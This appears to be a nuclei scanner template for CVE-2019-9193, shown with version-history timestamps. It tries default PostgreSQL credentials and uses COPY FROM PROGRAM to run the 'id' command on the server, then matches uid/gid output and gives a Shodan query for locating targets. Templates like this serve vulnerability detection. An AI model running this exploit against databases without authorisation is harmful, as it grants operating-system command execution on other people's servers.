nuclei-templates/javascript/cves/2019/CVE-2019-9193.yaml

54 lines
2.1 KiB
YAML
Raw Normal View History

2024-03-28 02:56:37 +00:00
id: CVE-2019-9193
info:
name: PostgreSQL 9.3-12.3 Authenticated Remote Code Execution
author: pussycat0x
severity: high
description: |
In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for COPY TO/FROM PROGRAM is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the COPY FROM PROGRAM.
reference:
- https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193
metadata:
shodan-query: product:"PostgreSQL"
2024-04-01 08:19:09 +00:00
verified: true
2024-03-28 02:56:37 +00:00
tags: cve,cve2018,js,network,postgresql,intrusive
2024-03-28 02:56:37 +00:00
javascript:
- code: |
const postgres = require('nuclei/postgres');
const client = new postgres.PGClient;
2024-04-05 10:13:06 +00:00
const tbl = tbl_exec
const qry = ["CREATE TABLE "+tbl+"(cmd_output text);", "COPY "+tbl + " FROM PROGRAM 'id';", "SELECT * FROM "+ tbl+";", "DROP TABLE IF EXISTS " +tbl+";",];
2024-03-28 02:56:37 +00:00
for (const x of qry){
connected = client.ExecuteQuery(Host, Port, User, Pass, Db, x);
Export(connected);
}
args:
Host: "{{Host}}"
Port: 5432
User: "{{usernames}}"
Pass: "{{password}}"
Db: "{{database}}"
2024-04-05 10:13:06 +00:00
tbl_exec: "{{randbase(5)}}"
2024-03-28 02:56:37 +00:00
payloads:
usernames:
- postgres
database:
- postgres
password:
- postgres
attack: clusterbomb
matchers-condition: and
matchers:
- type: regex
regex:
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
- type: word
words:
2024-04-05 10:13:06 +00:00
- "cmd_output"
# digest: 490a0046304402203fcb8e13ec325699c423b1e5c5f2917827bf54872524f1e24f2623bccc421f3d022065ccbe4ce99b7eea6c7350e25a1d993b18c53e59d221755142969e86c92655ed:922c64590222798bb761d5b6d8e72950